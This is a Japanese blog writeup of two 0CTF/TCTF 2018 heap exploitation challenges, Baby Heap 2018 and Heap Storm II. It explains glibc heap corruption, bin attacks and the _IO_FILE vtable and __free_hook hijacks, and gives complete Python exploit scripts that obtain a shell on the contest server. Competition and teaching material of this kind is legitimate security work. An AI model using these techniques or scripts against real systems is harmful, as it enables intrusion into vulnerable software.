つれづれなる備忘録

CTF関連の事やその他諸々

0CTF/TCTF 2018 Quals Writeup (Baby Heap 2018 & Heap Storm II)

久しぶりのブログ更新です.
最近CTFにあんまし参加してないわけですが,気が向いたので writeup にまとめておきます.

だがしかし,pwn問題1問しか解けなかった.
はーつら
チーム成績としては,現在アメリカに亡命している(大嘘)リーダーが終了直前5分前に奇跡のサブミットをしたため本戦に行けるらしいですよ.
ぷろつよい

Heap Storm IIについては大会中に解くことができなかったので,後日再び取り組みました.
この問題単体に大会期間中の75%の時間を割いた上に解けないという クソ of クソ をやらかしたので人権が消失しました.

Baby Heap 2018

去年が Baby Heap 2017 でしたからね
やっぱりねという感想

この問題に関しては,図を使って説明されている writeup が既に出てるので,そちらを参照していただいた方が良いかも

0CTF 2018 babyheap writeup - h_nosonの日記

下調べ

yutaro@ubuntu ~/CTF/0CTF % file babyheap 
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07335c82a28f73c1c4ac099f3381bfebff27e5e5, stripped
yutaro@ubuntu ~/CTF/0CTF % checksec babyheap 
[*] '/home/yutaro/CTF/0CTF/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full RELRO なので GOT の改竄はできなさそう
それに加えて PIE なので問題バイナリが管理する何かしらの大域変数をいじくるのは面倒

プログラム動作解析

yutaro@ubuntu ~/CTF/0CTF % ./babyheap
    __ __ _____________   __   __    ___    ____
   / //_// ____/ ____/ | / /  / /   /   |  / __ )
  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |
 / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/

===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command: 

機能一覧

  1. Allocate
    サイズを指定してヒープからメモリを確保する
    指定できるサイズは 1~88 byte(超えた場合は88byteに足切りされる)

  2. Update
    確保した領域に対してデータを書き込める
    ここに1byteだけ多く書き込めるバグがある

  3. Delete
    指定したインデックスのヒープを解放

  4. View
    指定したインデックスのメモリから読み出し
    ただし,読み出せるサイズはAllocate時に指定したサイズのみ

方針

扱えるサイズ的に fast bins とか使う問題っぽい

先述の通り,Update に off-by-one error があるので,これを利用して直下のチャンクサイズを改竄できる.
error と言ってもこれ見よがしに 1 byte を足してるのでなんともアレ

f:id:shift_crops:20180407002347p:plain

サイズが改変できるので,チャンクをオーバーラップさせて確保できれば中に含まれるポインタからヒープベースや libc のベースが抜けそう.
ヒープのポインタは fast bins の fd から簡単にリークできるが,libcのアドレスはそうはいかない.
サイズを自由にいじれるので,0x80 byte よりも大きいように適当に偽装したチャンクを free すれば unsorted bins に繋がれるので,その fd/bk からリークさせればよさそう.

ここから先の手法についてなのですが,普通に House of Orange のように unsorted bin attack を利用して _IO_list_all を main_arena+0x58 に向けて chain で繋げれば良かったなぁって.
僕は何をとち狂ったのか,calloc で main_arena が返るようにして top を改竄し,それ経由で _IO_list_all を書き換えました.
無駄骨を折りました.

ripを奪う方法として,_IO_FILE_plus構造体の vtable を書き換える方針を採る.
ただ,与えられた libc ではこの vtable の位置チェックが入っている.
これを回避する方法として,ひとつは _IO_str_jumps を使う方法がある.

abort時に _IO_flush_all_lockp が呼ばれるわけだが,その中で vtable から overflow に指定されている _IO_str_overflow が呼ばれる. fp を _IO_strfile 構造体と見た時に,_s._allocate_buffer に指定された関数ポインタが呼ばれるのでここで rip が取れそう. f:id:shift_crops:20180407012319p:plain

gdb-peda$ p *(_IO_strfile *)fp
$1 = {
  _sbf = {
    _f = {
      _flags = 0x0, 
      _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
      _IO_read_end = 0x7f9ff1f1dbc8 <main_arena+168> "\270\333\361\361\237\177", 
      _IO_read_base = 0x7f9ff1f1dbc8 <main_arena+168> "\270\333\361\361\237\177", 
      _IO_write_base = 0x0, 
      _IO_write_ptr = 0x7fffffffffffffff <error: Cannot access memory at address 0x7fffffffffffffff>, 
      _IO_write_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
      _IO_buf_base = 0x0, 
      _IO_buf_end = 0x2af21abce7de <error: Cannot access memory at address 0x2af21abce7de>, 
      _IO_save_base = 0x31 <error: Cannot access memory at address 0x31>, 
      _IO_backup_base = 0x0, 
      _IO_save_end = 0x0, 
      _markers = 0x0, 
      _chain = 0x0, 
      _fileno = 0x0, 
      _flags2 = 0x0, 
      _old_offset = 0x31, 
      _cur_column = 0x4141, 
      _vtable_offset = 0x41, 
      _shortbuf = "A", 
      _lock = 0x4141414141414141, 
      _offset = 0x4141414141414141, 
      _codecvt = 0x4141414141414141, 
      _wide_data = 0x55e43579d000, 
      _freeres_list = 0x41, 
      _freeres_buf = 0x4141414141414141, 
      __pad5 = 0x4141414141414141, 
      _mode = 0x41414141, 
      _unused2 = 'A' <repeats 20 times>
    }, 
    vtable = 0x7f9ff1f1c7a0 <_IO_str_jumps>
  }, 
  _s = {
    _allocate_buffer = 0xdeadbeef, 
    _free_buffer = 0x20
  }
}

vtable の位置チェックを回避する方法として,もう一つは _dl_open_hook を非ヌルにしてやる手法がある.
IO_validate_vtable 関数で vtable の位置を確認し,vtable が __libc_IO_vtables の範囲に収まっていない場合は _IO_vtable_check 関数に処理が飛ぶ.
_dl_open_hook に何かしらの値が入っていれば fatal が呼ばれる前に return するので check を bypass できそう.

void attribute_hidden _IO_vtable_check (void)
{
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
  if (flag == &_IO_vtable_check)
    return;
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
       || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

今回私はこちらの _dl_open_hook の方法で解きました.
非ヌルにする方法としては,unsorted bin attack を利用

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './babyheap'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'202.120.7.204', 'port':127})
                        #remote  = {'host':'localhost', 'port':127})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.24.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    bh = BabyHeap(conn)

    bh.allocate(0x18)   # 0
    bh.allocate(0x18)   # 1
    bh.allocate(0x28)   # 2
    bh.allocate(0x58)   # 3
    bh.allocate(0x20)   # 4
    bh.allocate(0x10)   # 5
    bh.allocate(0x18)   # 6

    bh.update(0, 'a'*0x18+'\x51')
    bh.update(2, 'b'*0x28+'\xa1')
    bh.update(5, 'c'*0x8+'\x11')

    bh.delete(1)
    bh.allocate(0x48)   # 1

    chunk  = '0'*0x18
    chunk += p64(0x91)
    bh.update(1, chunk)

    bh.delete(3)
    bh.delete(2)

    leak = bh.view(1)
    addr_heap_base = u64(leak[0x20:0x28]) - 0x70
    addr_libc_mainarena     = u64(leak[0x28:0x30]) - 0x58
    libc.address            = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_io_list_all   = libc.symbols['_IO_list_all']
    addr_libc_dl_open_hook  = libc.symbols['_dl_open_hook']
    addr_libc_system        = libc.sep_function['system']

    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    
    bh.allocate(0x28)   # 2
    bh.allocate(0x18)   # 3
    bh.allocate(0x18)   # 7
    bh.allocate(0x18)   # 8

    bh.update(2, 'A'*0x28+'\x61')
    bh.delete(3)
    bh.allocate(0x58)   # 3

    chunk  = 'B'*0x18
    chunk += p64(0x41)
    chunk += 'C'*0x18
    chunk += p64(0x51)
    bh.update(3, chunk)

    bh.delete(7)
    bh.delete(8)

    chunk  = p64(addr_libc_mainarena + 0xe8)
    chunk += p64(addr_libc_mainarena + 0xe8)
    chunk += 'B'*0x8
    chunk += p64(0x41)
    chunk += p64(0x51)
    bh.update(3, chunk)

    bh.allocate(0x38)   # 7
    chunk  = 'D'*0x18
    chunk += p64(0x51)
    chunk += p64(addr_libc_mainarena + 0x10)
    bh.update(7, chunk)

    bh.allocate(0x48)   # 8
    chunk  = 'E'*0x10
    chunk += p64(0x60)
    chunk += p64(0x31)
    bh.update(8, chunk)

    bh.allocate(0x48)   # 9
    fake_mainarena  = '\x00'*0x38
    fake_mainarena += p64(addr_libc_io_list_all - 0x28)
    bh.update(9, fake_mainarena)

    bh.allocate(0x58)   # 10
    bh.allocate(0x20)   # 11

    bh.update(11, '\x00'*0x18+p64(addr_heap_base + 0x60))
    bh.update(6, '\x00'*0x8+p64(addr_heap_base + 0x140 - 0x18)+p64(addr_libc_system))

    chunk  = '0'*0x18
    chunk += p64(0x91)
    bh.update(1, chunk)
    bh.delete(2)

    chunk  = '0'*0x18
    chunk += p64(0x61)
    chunk += p64(0xdeadbeef)
    chunk += p64(addr_libc_dl_open_hook - 0x10)
    bh.update(1, chunk)
    bh.allocate(0x58)   # 2
    bh.update(2, '\x00'*0x10+'/bin/sh'.ljust(0x20, '\x00')+p64(0)+p64(1))

    conn.recvuntil('Command: ')
    conn.sendline('5')

class BabyHeap:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def allocate(self, size):
        self.recvuntil('Command: ')
        self.sendline('1')
        self.recvuntil('Size: ')
        self.sendline(str(size))

    def update(self, idx, content):
        self.recvuntil('Command: ')
        self.sendline('2')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil('Size: ')
        self.sendline(str(len(content)))
        self.recvuntil('Content: ')
        self.send(content)

    def delete(self, idx):
        self.recvuntil('Command: ')
        self.sendline('3')
        self.recvuntil('Index: ')
        self.sendline(str(idx))

    def view(self, idx):
        self.recvuntil('Command: ')
        self.sendline('4')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil(': ')
        return self.recvuntil('\n1. Allocate', drop=True)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

Heap Storm II

競技中に解けなかった

下調べ

yutaro@ubuntu ~/CTF/0CTF % file heapstorm2
heapstorm2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=875a94fee796b76933b4142702569c3f57adadc9, stripped
yutaro@ubuntu ~/CTF/0CTF % checksec heapstorm2
[*] '/home/yutaro/CTF/0CTF/heapstorm2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラム動作解析

インタフェースは Baby Heap 2018 と一緒
ただし機能は微妙に変化アリ

  1. Allocate
    指定できるサイズは 13~4096 byte

  2. Update
    確保した領域のサイズ-12だけデータを書き込める
    後には HEAPSTORM_II という文字列が勝手に付加される(このとき最後尾のヌル文字が1byteだけ溢れる)

  3. Delete
    一緒

  4. View
    指定したインデックスのメモリから読み出し
    ただし,制限があり通常は使えない

global_max _fast が 0x10 にされているので,fast bins は使えない

0x13370820 以降の固定アドレスに確保したメモリのアドレスとサイズが置かれて管理されている.
ただしランダム値で xor されて保管されており,そのキーはそれぞれ 0x13370800, 0x13370808 に記録されている.
0x13370810, 0x13370818 には View 機能を利用可能にするかどうかを決める値が保持されている.
この2値を xor し,0x13377331 と一致していれば View 機能が使えるようになる.

方針

チャンクヘッダ改竄

まずは直下チャンクのサイズの下位1byteのみをヌルにできる状態から,チャンクの任意メンバを改竄できる状態にまで持っていく.
勝手に追加される文字の最後が 'I'(0x49) であることに着目し,prev_size を 0x4900 としてから PREV_INUSE をリセットする.

0x55555575b900 の prev_size と PREV_INUSE を書き換えた時点では,チャンクの様子は次の通り
PREV_INUSE をリセットしたことで,直上の 0x55555575b8e0 がfreeされているように見える. f:id:shift_crops:20180407125553p:plain

0x555555757000 と 0x55555575b900 のチャンクを順に free することで,backward consolidate を起こして利用中のチャンクとオーバーラップしてチャンクが解放される.
赤で囲まれたチャンクは本来まだ利用中であるにもかかわらず,囲まれて free されている様子が分かる f:id:shift_crops:20180407131558p:plain f:id:shift_crops:20180407125731p:plain

これ以降,未解放のチャンクとオーバーラップして確保されたチャンクは,update機能を利用して自由に改竄できることになる.

固定アドレスからのチャンク確保

さて,当面の目標はヒープおよびlibcのアドレスをリークさせることである.
そのためには View 機能が使えないと不可能なので,0x13370800 付近からチャンクを確保して 0x13370810, 0x13370818 を改竄したい.

既にチャンクのリスト構造は自由に書き換えができる状態なので,unsorted bins のリストに 0x133707e0 あたりを突っ込んでやることを考える.
しかしながら,都合よく size や bk が落ちているわけもないので,このままでは unsorted bins からの unlink 時にクラッシュしてしまう.

そこで,unsorted bins から large bins へ繋ぎ変える際の動作を利用して size と bk を配置することにする.
large bins はサイズの降順にリンクされる.

f:id:shift_crops:20180407135222j:plain

ここへつなぐ動作は次の通り
fd_nextsize および bk_nextsize をつないでから fd, bk を繋ぎます. f:id:shift_crops:20180407135324p:plain

以下の図は,既に 0x410 byte のチャンク 0x5555557588c0 が繋がれている largebin[64] に 0x420 byte のチャンク 0x5555557578b0 をつなごうとしている様子である. f:id:shift_crops:20180407140124p:plain

gdb-peda$ x/8gx 0x5555557588c0
0x5555557588c0: 0x0000000000000000      0x0000000000000411
0x5555557588d0: 0x00000000deadbeef      0x00000000133707e8
0x5555557588e0: 0x00000000deadbeef      0x00000000133707c3

なお,0x5555557588c0 の bk は 0x00000000133707e8, bk_nextsize は 0x00000000133707c3 としている.
まずは fd_nextsize/bk_nextsize の処理において,先述のコードより以下の部分に着目する.

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

すなわち fwd->bk_nextsize->fd_nextsize = victim であることから,*(*(0x5555557588c0+0x28)+0x20) = 0x5555557578b0 ,つまり *0x133707e3 = 0x5555557578b0 となる.

次に fd/bk の処理を見る.

bck = fwd->bk;
bck->fd = victim;

こちらは fwd->bk->fd = victim であることから,*(*(0x5555557588c0+0x18)+0x10) = 0x5555557578b0 ,つまり *0x133707f8 = 0x5555557578b0 となる.

この結果,0x133707e0 付近は次のような状態になる.

gdb-peda$ x/16gx 0x133707e0
0x133707e0:     0x55557578b0000000      0x0000000000000055
0x133707f0:     0x00007ffff7dd1b78      0x00005555557578b0
0x13370800:     0xcf152bb5b6733ae5      0x3e0856af08bc2146

ミスアラインを利用して,ヒープのアドレスの3byte 目で 0x133707e8 にsize を作っている.
なお,この図ではアドレスが 0x55 から始まっているが,IS_MMAPED が立っていないと動かないため,0x52,0x53 や 0x56,0x57 である必要がある.
しかしこれは ASLR で解決できるため,何度か試行すればよい.

0x5555557578b0 の bk には 0x133707e0 が繋がれていることから,次の 0x48 byte のチャンク確保要求 (calloc) で 0x133707e0 が確保されて 0x133707f0 が返ることになる.

シェル奪取

これ以降はテクニカルなことはさほど要求されない.
0x133707f0 以降を自由に書き換えられるようになったため,ポインタ及びサイズの xor key を 0 にして,0x13370810 と 0x13370818 をそれぞれ 0 と 0x13377331 にする.

View 機能を利用して 0x13370800 以降を読み取り元の xor key をリークして,未書き換えのポインタからヒープのアドレスを復元
リークしたヒープのアドレスを利用して main_arena に繋がれたチャンクから libc のアドレスをリーク
あとは __free_hook あたりを system に書き換えればシェルが取れる.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './heapstorm2'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'202.120.7.204', 'port':127})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.24.so')
env.select()

#==========

binf = ELF(bin_file)
addr_control        = 0x13370800

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    hs = HeapStorm(conn)

    hs.allocate(0x890)      # 0
    for _ in range(4):
        hs.allocate(0x1000) # 1-4

    hs.allocate(0x18)       # 5 : keep
    hs.allocate(0xf0)       # 6
    hs.allocate(0x18)       # 7 : keep

    for i in range(7):
        hs.update(5, 'a'*(0x18-12-i))
    hs.update(5, 'a'*(0x18-12-8))

    hs.delete(0)
    hs.delete(6)

    hs.allocate(0x8a0)  # 0
    hs.allocate(0x410)  # 6
    hs.allocate(0xbe0)  # 8
    hs.allocate(0x400)  # 9
    hs.allocate(0x10)   # 10

    hs.delete(9)
    hs.delete(6)
    hs.allocate(0x410)  # 6
    hs.delete(6)

    fake_chunk  = p64(0)
    fake_chunk += p64(0x421)
    fake_chunk += p64(0xdeadbeef)
    fake_chunk += p64(addr_control - 0x20)
    hs.update(1, fake_chunk)

    fake_chunk  = p64(0)
    fake_chunk += p64(0x411)
    fake_chunk += p64(0xdeadbeef)
    fake_chunk += p64(addr_control - 0x20 + 0x8)
    fake_chunk += p64(0xdeadbeef)
    fake_chunk += p64(addr_control - 0x20+3 - 0x20)
    hs.update(2, fake_chunk)

    hs.allocate(0x48)   # 6 at addr_control - 0x20

    fake_control  = p64(0)*3
    fake_control += p64(0x13377331)
    fake_control += p64(addr_control)
    fake_control += p64(0x100)
    hs.update(6, p64(0)*2 + fake_control[:0x28])
    hs.update(0, fake_control)

    leak = hs.view(0)
    key_ptr         = u64(leak[0xb0:0xb8])
    info('key_ptr           = 0x{:08x}'.format(key_ptr))
    addr_heap_base  = (u64(leak[0x40:0x48])^key_ptr) - 0x18c0
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    fake_control  = p64(0)*3
    fake_control += p64(0x13377331)
    fake_control += p64(addr_control)
    fake_control += p64(0x100)
    fake_control += p64(addr_heap_base + 0x8b0)
    fake_control += p64(0x18)
    hs.update(0, fake_control)

    addr_libc_mainarena = u64(hs.view(1)[0x10:0x18]) - 0x58
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search('/bin/sh'))
    addr_libc_free_hook = libc.symbols['__free_hook']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    fake_control  = p64(0)*3
    fake_control += p64(0x13377331)
    fake_control += p64(addr_control)
    fake_control += p64(0x100)
    fake_control += p64(addr_libc_free_hook)
    fake_control += p64(0x8 + 0xc)
    fake_control += p64(addr_libc_str_sh)
    fake_control += p64(0x1)
    hs.update(0, fake_control)
    hs.update(1, p64(addr_libc_system))
    hs.delete(2)

class HeapStorm:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def allocate(self, size):
        self.recvuntil('Command: ')
        self.sendline('1')
        self.recvuntil('Size: ')
        self.sendline(str(size))

    def update(self, idx, content):
        self.recvuntil('Command: ')
        self.sendline('2')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil('Size: ')
        self.sendline(str(len(content)))
        self.recvuntil('Content: ')
        self.send(content)

    def delete(self, idx):
        self.recvuntil('Command: ')
        self.sendline('3')
        self.recvuntil('Index: ')
        self.sendline(str(idx))

    def view(self, idx):
        self.recvuntil('Command: ')
        self.sendline('4')
        self.recvuntil('Index: ')
        self.sendline(str(idx))
        self.recvuntil(': ')
        return self.recvuntil('\n1. Allocate', drop=True)

#==========

if __name__=='__main__':
    while True: 
        conn = communicate(env.mode, **env.target)
        try:
            attack(conn)
            break
        except:
            conn.close()
            if env.check('debug'):
                break
    conn.interactive()
    
#==========